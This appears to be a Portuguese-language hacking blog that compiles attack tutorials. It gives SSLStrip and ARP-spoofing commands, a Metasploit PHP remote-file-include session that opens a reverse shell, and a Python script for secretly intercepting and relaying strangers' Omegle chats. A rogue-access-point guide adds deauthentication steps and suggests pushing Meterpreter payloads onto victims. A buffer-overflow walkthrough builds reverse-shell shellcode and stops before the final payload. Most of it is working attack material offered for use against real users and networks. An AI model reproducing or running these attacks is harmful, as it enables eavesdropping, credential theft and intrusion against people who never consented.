Pentesting VoIP With BackTrack

É um ótimo material na wiki do Back-Track .


Pentesting VoIP

Penetration Testing in the Real World

Opa moçada, tava aqui dando uma olhada em alguns videos, dentre eles achei um bem pertinente e abrangente na questão de analise, busca e explotação de falhas, entao, fica com o video ae :

http://vimeo.com/11213607

DLL Hijacking With Metasploit

A todos, fica disponivel o meu paper sobre o assunto .

DLL Hijacking With Metasploit

Teoria dos Campos Unificados

Bom, ultimamente não tenho postado muitas coisas no blog, fato .

Este é um paper book em PDF que de alguma forma me moveu a cabeça, me fez pensar de uma forma que eu não havia pensado sobre o hacking e a (in)segurança .

DOWNLOAD

Heap-Spray Attack

Está a disposição o meu artigo sobre Heap-Spray Attack !

Metasploit Unleashed

http://www.offensive-security.com/metasploit-unleashed/

É um otimo material para entender Estrutura, funcionamento e uso do Metasploit Framework .

Getting SSL Traffic

A partir da Aparição de um SSLStrip (nao me lembro quem fez) muitos sequelas firam na paranoia , que tem um fundamento pelo poder dessa simplória porem muito interessante tool , que captura Seu Trafego SSL tranquilamente. 


Resumidamente, os passos seriam:

Configurar o IP Forwarding:

CÓDIGO:


# echo 1 > /proc/sys/net/ipv4/ip_forward

Realizar um ataque ARP MITM entre as 2 máquinas:

CÓDIGO:


# arpspoof -i eth0 -t HOST_ALVO

Redirecionar o tráfego com iptables:

CÓDIGO:


# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

Iniciar o SSLStrip, definindo um arquivo onde armazenará os dados capturados:

CÓDIGO:


# python sslstrip.py -w arquivo

Quem quiser dar uma olhada no video : 

http://www.youtube.com/watch?v=TJHcfs4inhs

também tem o site do SSLStrip :

http://www.thoughtcrime.org/software/sslstrip/


O que é SSL ?

http://nemesiz.forum.st/redes-cabeadas-f16/ssl-handshake-t250.htm

E MITM ? 

http://nemesiz.forum.st/hacking-geral-f4/man-in-the-middle-na-pratica-t229.htm

[]'s ;

Using the Metasploit PHP Remote File Include Module

Metasploit tem um PHP nifty Remote File Include module que lhe permite obter uma shell de comando a partir de uma RFI.
Não é muito complicado de se usar, defina de forma normal as opções do seu RHOST/RPORT, defina o PATH e defina o seu PHPURI com o path vuln e coloque XXpathXX onde normalmente estaria o seu shell php. Então pegamos algo simples como "Text-File Login Remote File Include" que tem uma string vulneravel :

CÓDIGO:


/[path]/slogin_lib.inc.php?slogin_path=[remote_txt_shell]
and make your PHPURI
PHPURI /slogin_lib.inc.php?slogin_path=XXpathXX
let's see it in action
msf > search php_include
[*] Searching loaded modules for pattern 'php_include'...

Exploits
========

Name Rank Description
---- ---- -----------
unix/webapp/php_include excellent PHP Remote File Include Generic Exploit

msf > use exploit/unix/webapp/php_include
msf exploit(php_include) > info

Name: PHP Remote File Include Generic Exploit
Version: 8762
Platform: PHP
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent

Provided by:
hdm
egypt

Available targets:
Id Name
-- ----
0 Automatic

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PATH / yes The base directory to prepend to the URL to try
PHPRFIDB /home/cg/evil/msf3/dev2/data/exploits/php/rfi-locations.dat no A local file containing a list of URLs to try, with XXpathXX replacing the URL
PHPURI no The URI to request, with the include parameter changed to XXpathXX
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 80 yes The target port
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host

Payload information:
Space: 32768

Description:
This module can be used to exploit any generic PHP file include
vulnerability, where the application includes code like the
following:

msf exploit(php_include) > set PHPURI /slogin_lib.inc.php?slogin_path=XXpathXX
PHPURI => /slogin_lib.inc.php?slogin_path=XXpathXX
msf exploit(php_include) > set PATH /1/
PATH => /1/
msf exploit(php_include) > set RHOST 192.168.6.68
RHOST => 192.168.6.68
msf exploit(php_include) > set RPORT 8899
RPORT => 8899
msf exploit(php_include) > set PAYLOAD php/reverse_php
PAYLOAD => php/reverse_php
msf exploit(php_include) > set LHOST 192.168.6.140
LHOST => 192.168.6.140
msf exploit(php_include) > exploit

[*] Started bind handler
[*] Using URL: http://192.168.6.140:8080/RvSIqhdft
[*] PHP include server started.
[*] Sending /1/slogin_lib.inc.php?slogin_path=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%36%2e%31%34%30%3a%38%30
%38%30%2f%52%76%53%49%71%68%64%66%74%3f
[*] Command shell session 1 opened (192.168.6.140:34117 -> 192.168.6.68:8899) at Sun May 09 21:37:26 -0400 2010

dir
0.jpeg      header.inc.php   license.txt   slog_users.txt    version.txt
1.jpeg      index.asp   old      slogin.inc.php
adminlog.php   install.txt   readme.txt   slogin_genpass.php
footer.inc.php   launch.asp   slog_users.php   slogin_lib.inc.php

id uid=33(www-data) gid=33(www-data) groups=33(www-data)

Dei uma traduzida pra galera pegar mais facil .

original : http://carnal0wnage.attackresearch.com/node/421

Introdução ao Cracking com Ollydbg do Zero.

A idéia destes tutoriais são de dar uma base para todos os estudantes iniciantes na arte do Cracking com Ollydbg além de dar uma boa norteada na era de Engenharia Reversa .

Em português :

http://ricardonarvaja.info/WEB/INTRODUCCION%20AL%20CRACKING%20CON%20OLLYDBG%20DESDE%20CERO/EN%20PORTUGUES/

Em outros Idiomas :
http://ricardonarvaja.info/WEB/INTRODUCCION%20AL%20CRACKING%20CON%20OLLYDBG%20DESDE%20CERO/

Bypassing UAC with User Privilege under Windows Vista/7 – Mirror

Essa é uma nova falha descoberta a pouco tempo, um 0day do Windows Seven e Vista .

http://www.exploit-db.com/bypassing-uac-with-user-privilege-under-windows-vista7-mirror/

Sobre o Autor : http://www.codeproject.com/Members/noobpwnftw

Video de Demonstração : http://www.exploit-db.com/movies/uacvideo.swf

Exploit : 

http://www.exploit-db.com/exploits/15609/

Todos conhecem o site Omegle!
Um mensageiro online, onde diversas pessoas de varios paises podem se comunicar através de uma escolha aleatória do servidor, onde a maioria dos usuários estão atraz de sexo explicito e selvagem!
Nesse post irei ilustrar como realizar uma técnica de man-in-middle capturando conversars que estão sendo realizadas neste momento.

Vamos analizar uma simples conversa usando um sniffer qualquer



O que podemos notar?
O Omegle é desprovido de qualquer tipo de criptografia e
que usa o método POST para comunicação.

Exemplo ilustrativo da comunicação:

You: POST omegle.com/start
Omg: HTTP "123456" <-- 6 caracteres aleatórios p/ o 'username' (a-z A-Z 0-9 _ -)
You: POST omegle.com/events?id=123456
Omg: HTTP [["connected"]]
You: POST omegle.com/send?msg=hello&id=123456
Omg: HTTP win <-- Bom!
You: POST omegle.com/events?id=123456
Omg: HTTP [["gotMessage", "hey"]] <-- Menssagem
You: POST omegle.com/disconnect?id=123456 <-- saiu do chat

Como capturar as conversas?
Use o exploit abaixo: =P

from httplib import *
from urllib import *
from threading import *
from Queue import *
from time import *

headers = {"Content-type": "application/x-www-form-urlencoded; charset=utf-8", "Accept": "application/json"}

class Send_Thread( Thread ):

def __init__(self, user, que):
Thread.__init__(self)

self.que = que

self.con = HTTPConnection("omegle.com:80")
self.user = user

def run ( self ):

done = False

while done == False:

#print "-------------------------------------"

try:

#print "Checking Que"
packet = self.que.get()

#print packet

if packet[0] == "message":

params = urlencode({'msg':packet[1], 'id':self.user})
self.con.request("POST", "/send", params, headers)
response = self.con.getresponse().read()

elif packet[0] == "typing":

params = urlencode({'id':self.user})
self.con.request("POST", "/typing", params, headers)
response = self.con.getresponse().read()

elif packet[0] == "disconnect":

params = urlencode({'id':self.user})
self.con.request("POST", "/disconnect", params, headers)
response = self.con.getresponse().read()

done = True

self.que.task_done()

#print self.user + " - SENT - " + message

except:

#print "QUE ERROR"
pass


class Recv_Thread( Thread ):

def __init__(self, user, que, color):
Thread.__init__(self)

self.que = que
self.user = user
self.con = HTTPConnection("omegle.com:80")
self.params = urlencode({'id':user})
self.color = color

def run ( self ):

self.user = self.color + self.user

done = False
while done == False:

#print "-------------------------------------"

self.con.request("POST", "/events", self.params, headers)

chat = self.con.getresponse().read()

#print chat

if chat == "null": # null only recieved if stanger left
chat = "[['strangerDisconnected']]" # format so it falls through tree

if chat == "[]": # weird response from omegle
chat = "[['']]" # format it so it falls through switch

chat = eval(chat)[0]


if chat[0] == "connected":

print self.user + " - CONNECTED"

elif chat[0] == "waiting":

print self.user + " - WAITING"

elif chat[0] == "gotMessage":

self.que.put(["message", chat[1]])

print "-------------------------------------"
print self.user + " - " + chat[1]

elif chat[0] == "typing":

self.que.put(["typing", ''])
#print self.user + " - TYPING"


elif chat[0] == "stoppedTyping":

pass # todo: que stopped typing
#print self.user + " - STOPPED TYPING"

elif chat[0] == "strangerDisconnected":

self.que.put(["disconnect", ''])
print self.user + " - DISCONNECTED"
done = True

else:

print self.user + " - ERROR"
print chat


con_one = HTTPConnection("omegle.com:80")
con_two = HTTPConnection("omegle.com:80")

con_one.request("POST", "/start", 0, headers)
con_two.request("POST", "/start", 0, headers)

id_one = eval(con_one.getresponse().read())
id_two = eval(con_two.getresponse().read())

print "One: " + id_one
print "Two: " + id_two

q_one = Queue()
q_two = Queue()

Recv_Thread(id_one, q_one, "\033[0;34m").start()
Recv_Thread(id_two, q_two, "\033[0;31m").start()

Send_Thread(id_one, q_two).start()
Send_Thread(id_two, q_one).start()

Pra quem não sabe o script acima é em python.

Tutorial recriado por SpecTrum_Bill (Fazendo um spamzinho *-*) http://unauthorizedaccess.wordpress.com/2010/02/12/omegle-man-in-middle-ataque/

Original por bear24rw

Abraços!

Man-In-The-Middle na prática

Fala ae pessoal, neste post, vou dar um exemplo de um ataque MITM(Man-In-The-Middle, ou Homem no meio).

Muita gente pensa que MITM é apenas usar o Ettercap e já virou hacker, outros até, pensam que ataques deste tipo não servem de nada.

Infelizmente, esta é a realidade de muitas pessoas que são pseudo-hackers ou até mesmo pseudo-elites

Vamos lá, um ataque de MITM é quando o hacker se torna um relay entre dois, ou mais, clientes, neste caso, um Acess Point Wireless. Em essência, o hacker se torna um 'tracehop', que é um hop(ponto de passagem, nó).
Ataques MITM são muito usados para Phising, Spoofing e Sniffing. A única desvantagem desta técnica, é que dependendo do modelo OSI, você precisará ter acesso físico ao Acess Point.

Os meios para se explorar clientes usando a técnica do MITM são limitados a dois fatores: sua imaginação e a quantidade de maldade em seu coração. A boa notícia é: pode-se fazer muita pouca coisa se você não tiver maldade na cabeça.

Bom, vamos ao ataque, para executá-lo, você precisará de algumas ferramentas. Existem apenas poucas ferramentas que são realmente essênciais para fazer um MITM, mas para explorá-lo com eficiência, você precisará de muito mais, programar exploits também é bom

A base de um ataque MITM é pelos seguintes programas: airbase-ng(Incluido no aircrack-ng), bind9 e dhcp3-server.

Você pode usar também o Nessus, nmap, wireshark, ettercap, thc-hydra, metasploit, NetworkMiner, wine, cowpatty, nikto e vários outros.

Você também precisará de duas interfaces de rede, uma de entrada e uma de saída. Assegure-se que elas precisam ter suporte a 'modo monitor'. As suas vítimas precisam apenas estar rodando algum cliente wireless

Lembrando sempre que para executar estes passos que estou passando-lhes, você precisa estar rodando um console BASH e as interfaces de rede precisam ser eth0 e eth1 para não se confundirem.

Você precisa configurar um gateway totalmente funcional apenas uma vez, para isso, entre no arquivo de configuração do seu dhcp, o qual é /etc/default/dhcp3-server, agora, encontre a seguinte linha:

...INTERFACES=

E coloque a interface que será o seu Acess Point, neste caso, será eth1, salve e saia.

Agora, abra o arquivo /etc/dhcp3/dhcpd.conf e insira as seguintes linhas:

Código:

ddns-update-style none; log-facility local7; subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.100 10.0.0.250; option domain-name-servers 10.0.0.1; option routers 10.0.0.1; default-lease-time 600; max-lease-time 7200; }

Isso fará com que todo mundo que se conectar a você, será colocado na faixa de sub-rede entre 10.0.0.100 e 10.0.0.249. Tendo em mente que você é o 10.0.0.1, e que você tem um servidor DNS em seu computador. O que você terá. Agora, reinicialize o dhcp3-server com o seguinte comando:

Código:

sudo /etc/init.d/dhcp3-server restart

Se você quer ser um elite, você pode colocar uma conexão de loopback que você pode usar para rodar exploits sem precisa de uma outra máquina, abra o arquivo /etc/network/interfaces, DEPOIS DE TER CERTEZA DE QUE TEM UM BACKUP DELE. Adicione as linhas:

Código:

auto lo eth1 iface eth1 inet dhcp iface lo inet loopback

E rode o comando:

Código:

sudo /etc/init.d/networking restart

Agora que você tem um servidor DHCP, você precisa ligar e rodar o seu servidor DNS, para isso, usaremos o Bind9.

O Bind9 já vem configurado, então você apenas precisará modificá-lo para seus próprios sites, não farei isto agora para encurtar o post
Agora, execute o comando:

Código:

/etc/init.d/bind9 stop

E abra o arquivo /etc/bind/named.conf.options, descomente as linhas a seguir e adicione servidores DNS alternativos, eu uso os do OpenDNS, o meu arquivo está assim:

Código:

options { directory "/var/cache/bind"; fowarders { 208.67.222.222; 208.67.220.220}; auth-nxdomain no;  listen-on-v6{ any; }; };

Agora, ligue o Bind9 de novo com o comando:

Código:

/etc/init.d/bind9 start

Neste momento, estamos prontos para executar o ataque

Primeiro de tudo, conecte-se à internet usando a interface eth0, você provavelmente usará o servidor de acesso mais próximo, então, rode os seguintes comando para dar um kill em algumas coisas que podem causar conflitos, e dar poder sobre a interface de Acess Point(eth1):

Código:

kill `cat /var/run/dhcp.pid` killall -9 dhcp3-server dhcpd wireshark ettercap airbase-ng airmon-ng stop eth1 ifconfig eth1 down modprobe tun airbase-ng -e "ESSID" -P -C 30 -v eth1

O "ESSID" é o da rede a qual você está atacando. O parâmetro "-P" faz com que o Acess Point responda à todas as requisições e pedidos, capturando usuários bem mais rápido. O "-C 30" irá mudar os seus pacotes de resposta para enganar usuários, eles entrarão na rede mesmo se o SSID estiver incorreto.
Tenha certeza de que os comandos acima foram executados com sucesso para prosseguir.

Agora, você precisa configurar o seu iptables para o seu Acess Point, perceba que a interface at0 é muito fácil de ser colocado um sniffer junto, tudo o que você precisa fazer é executar os comandos a seguir o mais rápido o possível, para terminar de executá-los antes que muitos clientes tentem se conectar à rede, sugiro que você crie um script em Shell para isso :

Código:

ifconfig at0 up ifconfig at0 10.0.0.1 netmask 255.255.255.0 ifconfig at0 mtu 1400 route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPT iptavles -t nat -A POSTROUTING -o eth0 -j MASQUERADE ettercap -T -q -p -i at0

Agora você tem um Acess Point totamente funcional, junto de um Sniffer embutido(se você tiver o ettercap instalado, é claro). Você perceberá que não tem muitos clientes se conectando, agora vem a parte divertida
Executaremos um ataque de Deauth(Desautenticação). Use o airodump-ng ou o ksmet para encontrar clientes e conseguir informações dos mesmos, com estas informações em mãos, execute o Deauth:

Código:

aireplay-ng -e "ESSID-ALVO" -a "MAC-DO-Acess-Point-ALVO" -c "MAC-Do-cliente-ALVO" --deauth 1 eth3

Se tudo correr bem, você poderá executar o comando a seguir para ver os clientes estão relativamente inativos. Se acontecer de ninguém re-entrar na rede logo em seguida, então eles possuem uma boa rede, e você precisará abusar um pouco da sua engenharia social para conseguir que eles se reconectem à rede. Espero que você tenha um ótimo "plano B" e inteligênicia e técnica o suficiente para isso.
Este é o comando para ver os clientes:

Código:

echo > '/var/state/dhcp/dhcpd.leases' ou sudo dhclient

Se tudo correu bem até aqui, então você está em uma posição perfeita para 'brincar' com os clientes

Agora vai da sua imaginação, você pode usar um sniffer para capturar senhas, por exemplo o Wireshark ou Ettercap, usando filtros específicos, lembrem-se sempre que você precisará 'sniffar' a interface at0.

Usando o Network Miner, vocês podem até mesmo recriar a maioria dos arquivos que as pessoas baixam.

Você pode colocar executáveis em seus clientes, usando o Network Miner ou algum filtro do Ettercap, ou até mesmo copiando e colando nas pastas compartilhadas do windows ou até mesmo algum exploit de Iframe

Colocando e executando alguma payload já compilada, o Meterpreter por exemlpo, você terá acesso a uma Shell em seu cliente.

"O resto nasce daí"

Simples assim

Este é um exemplo muito claro e real de um ataque de MITM, é claro, isto é apenas o básico, como já disse no começo do post, existem infinitas possibilidades de execuções ou ataques, agora que você já sabe como fazer, basta apenas ter imaginação

Escrito por: Fzero

Explorando Buffer Overflow em sistemas Unix

Fala ae pessoal.

Vou falar um pouco sobre Buffer Overflow neste tópico ;)

Ensinarei como explorar esta falha em sistemas Unix. Causarei um buffer overflow para conseguir invocar uma shell reversamente, explicarei cada passo meu para o melhor entendimento.

Este é o nosso programa vulnerável a buffer overflow:


/* vuln.c */
#include
#include
#include

int bof(char *string) {

char buffer[1024];

strcpy(buffer, string);

return 1;
}

int main(int argc, char *argv[]) {

bof(argv[1]);
printf("Pronto!\n");

return 1;
}


Este programa, simplesmente recebe as strings do usuário e copia pro buffer, o qual tem a capacidade de 1024 bytes de dados. Se for enviado mais do que isso, causará um buffer overflow, e isso re-escreverá partes da memória.

Vamos compilá-lo:

bt NSG # gcc vuln.c -o vuln

Ah, precisamos desativar o patch do VA para conseguirmos exploitar o buffer overflow:

bt NSG # cat /proc/sys/kernel/randomize_va_space
0
bt NSG # echo 0 > /proc/sys/kernel/randomize_va_space
bt NSG # cat /proc/sys/kernel/randomize_va_space
0
bt NSG #


Agora, usaremos um debugger chamdo gdb para ver o que acontece quando é enviado mais que 1024 bytes de dado.
Usarei o Perl para conseguir enviar um buffer com 1040 bytes de dado:


bt NSG # gdb ./vuln
GNU gdb 6.6
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) run ´perl -e 'print "A"x1040'´
Starting program: /root/NSG/vuln ´perl -e 'print "A"x1040'´

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)


Como você pode ver, eu enviei uma string de 1040*A, A é 0x41 em sua forma hexadecimal.
Agora vamos analizar quais partes da memória foram sobre-escritos:


(gdb) i r
eax 0x1 1
ecx 0xfffff9e6 -1562
edx 0xbffff8aa -1073743702
ebx 0xb7fcc000 -1208172544
esp 0xbffff290 0xbffff290
ebp 0x41414141 0x41414141
esi 0xb7fce17c -1208163972
edi 0x2 2
eip 0x41414141 0x41414141
eflags 0x10282 [ SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)


Preste bastante atenção a esta parte:

eip 0x41414141 0x41414141

EIP é Extended Instruction Pointer, é nele que fica os endereços para a próxima instrução. Basicamente, ele aponta para o endereço onde o próximo pedaço de código será executado.
Então, sobre-escrevendo o eip com um endereço que contem um código nosso, nos permitirá que controlemos o fluxo(flow) do programa.
Nós sobre-escrevemos o eip com 41414141 que é AAAA. Porém, 41414141 não contém nenhum código e é uma parte inválida da memória que está sendo apontada.

Então precisamos apontar para um código nosso ;)

Para executar um código nosso, usaremos algo que se chama ShellCode(sim, o famoso).
O ShellCode, também conhecido por Bytecode, contém um conjunto de instruções do cpu. Não vamos falar sobre como criar nosso próprio ShellCode neste tópico(talvez mais pra frente ;)), então usaremos o metasploit para gerar um.

Primeiro, nós precisamos mandar o netcat ficar escutando e esperando por uma shell, vamos à escuta:


bt NSG # nc -l -p 9999 -vv
listening on [any] 9999 ...


E vamos verificar nosso endereço IP:


bt ~ # ifconfig |grep inet
inet addr:192.168.0.6 Bcast:192.168.0.255 Mask:255.255.255.0
inet addr:127.0.0.1 Mask:255.0.0.0
bt ~ #


Nosso endereço IP é 192.168.0.6. Agora, precisamos checar se o netcat está escutando devidamente:


bt ~ # netstat -an |grep 9999
tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN
bt ~ #


Certo, agora vá no site http://metasploit.com:55555/PAYLOADS?MODE=SELECT&MODULE=linux_ia32_reverse
para gerarmos nossa ShellCode.
Complete o formulário da seguinte forma:

LHOST Required ADDR = 192.168.0.6 (aqui você coloca o seu endereço ip)
LPORT Required PORT = 9999

e clique em "Generate Payload.."

Ele gerará isto:

/* linux_ia32_reverse - LHOST=192.168.0.6 LPORT=9999 Size=96 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char scode[] =
"\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76"
"\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9"
"\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98"
"\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73"
"\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab"
"\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3";


Como vocês devem ter percebido, o ShellCode tem 96 bytes.
Vamos pegar apenas o necessário:

\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3

Este ShellCode se conecta ao IP 192.168.0.6 pela porta 9999, que é onde o netcat está escutando, e nos dá uma shell.

Agora para encontrar nosso ShellCode na memória é um saco, então usaremos a técnica do NOP.
NOP é uma instruçãop que não faz nada( No Operation, 0x90)

Então, colocaremos algumas instruções NOP(nopsled) antes de nosso ShellCode, e apontaremos o eip para algum lugar de nosso NOPSLED, nossa payload ficará assim:

[dados inúteis - A (0x41)] [nopsled] - [ShellCode] [eip]

Agora nós precisamos calcular quanto, exatamente, precisamos enviar:

nós usamos 1040 bytes para sobre-carregar o eip com 0x41414141
eip são 4 bytes, então:
1040 - 4 = 1036
precisamos de 96 bytes para nosso ShellCode, então
1036 - 96 = 940
E nós podemos usar 940 bytes para nossos 'dados inúteis' e nosso nopsled.
Usarei 340 bytes para nosso nopsled, então será 340 x 0x90
940 - 340 = 600
E sobraram 600 bytes para usarmos de 'dados inúteis', ou seja, são 600 x A (0x41)
Nossa payload deverá ficar assim:

600x A(0x41) + 340 x NOP(0x90) + 96 bytes do ShellCode + 4 bytes do EIP = 1040 bytes

PAYLOAD:

´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","BBBB"'`


Sobre-escreverei o eip com BBBB (0x42424242) apenas para um melhor entendimento.


(gdb) run ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","BBBB"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/NSG/vuln ´perl -e 'print "A"x600,"\x90"x340, "\x33\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x95\x4a\xc3\x83\xeb\xfc\xe2\xf4\x47\x4e\x19\x80\x25\xff\x48\xa9\x10\xcd\xc3\x22\xbb\x15\xd9\x9a\xc6\xaa\x87\x43\x3f\xec\xb3\x98\x2c\xfd\x8a\x6b\x76\x93\x2c\xab\x51\x9a\x09\xa5\x25\x1c\xab\x73\x10\xc5\x1b\x90\xff\x74\x09\x0e\xf6\xc7\x22\xec\x59\xe6\x22\xab\x59\xf7\x23\xad\xff\x76\x18\x90\xff\x74\xfa\xc8\xbb\x15\x4a\xc3","BBBB"'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)


Como você pode ver, o eip foi sobre-escrito com 0x42424242 que é a parte da nossa payload que foi usada para sobre-escrever o eip.
Agora, precisamos apontar o eip para nosso nopsled ao invés de 0x42424242.
Vamos analizar nossa memória para vermos onde o nosso nopsled está:


(gdb) x/2000xb $esp


Agora aperta enter até ver uma grande quantidade de intruções NOP:


0xbffff6e0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6e8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6f0: 0x41 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff6f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff700: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff708: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff710: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff718: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff720: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff728: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff730: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff738: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff740: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff748: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff750: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff758: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff760: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff768: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff770: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff778: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff780: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff788: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff790: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90


Antes do nosso nopsled, podemos ver nossos dados inúteis cheios de A(0x41), que foi como construímos nossa payload ;)
Após nosso NOPSLED, temos nosso ShellCode:


0xbffff820: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff828: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff830: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff838: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff840: 0x90 0x90 0x90 0x90 0x90 0x33 0xc9 0x83
0xbffff848: 0xe9 0xee 0xd9 0xee 0xd9 0x74 0x24 0xf4
---Type to continue, or q to quit---
0xbffff850: 0x5b 0x81 0x73 0x13 0x5e 0x10 0xdb 0x16
0xbffff858: 0x83 0xeb 0xfc 0xe2 0xf4 0x6f 0xcb 0x88
0xbffff860: 0x55 0x0d 0x7a 0xd9 0x7c 0x38 0x48 0x52
0xbffff868: 0xf7 0x93 0x90 0x48 0x4f 0xee 0x2f 0x16
0xbffff870: 0x96 0x17 0x69 0x22 0x4d 0x04 0x78 0xd1
0xbffff878: 0x16 0x5e 0x89 0xbd 0x7e 0x79 0x1f 0x98
0xbffff880: 0x70 0x0d 0x99 0x3a 0xa6 0x38 0x40 0x8a
0xbffff888: 0x45 0xd7 0xf1 0x98 0xdb 0xde 0x42 0xb3


Como você pode ver, nosso ShellCode começa com \x33.
Agora, nós precisamos sobre-escrever o eip de forma que aponte para algum lugar em nosso nopsled.
Isso irá executar as instruções NOP até chegar ao nosso ShellCode, que nos trará uma shell reversamente na porta 9999.

Vamos escolher um endereço que se encontra nosso nopsled, pegarei como exemplo este:

0xbffff740

Vamos escrever no formato "little-endian"(ao contrário):

\x40\xf7\xff\xbf

E vamos colocar isto em nossa payload, que ficará assim:


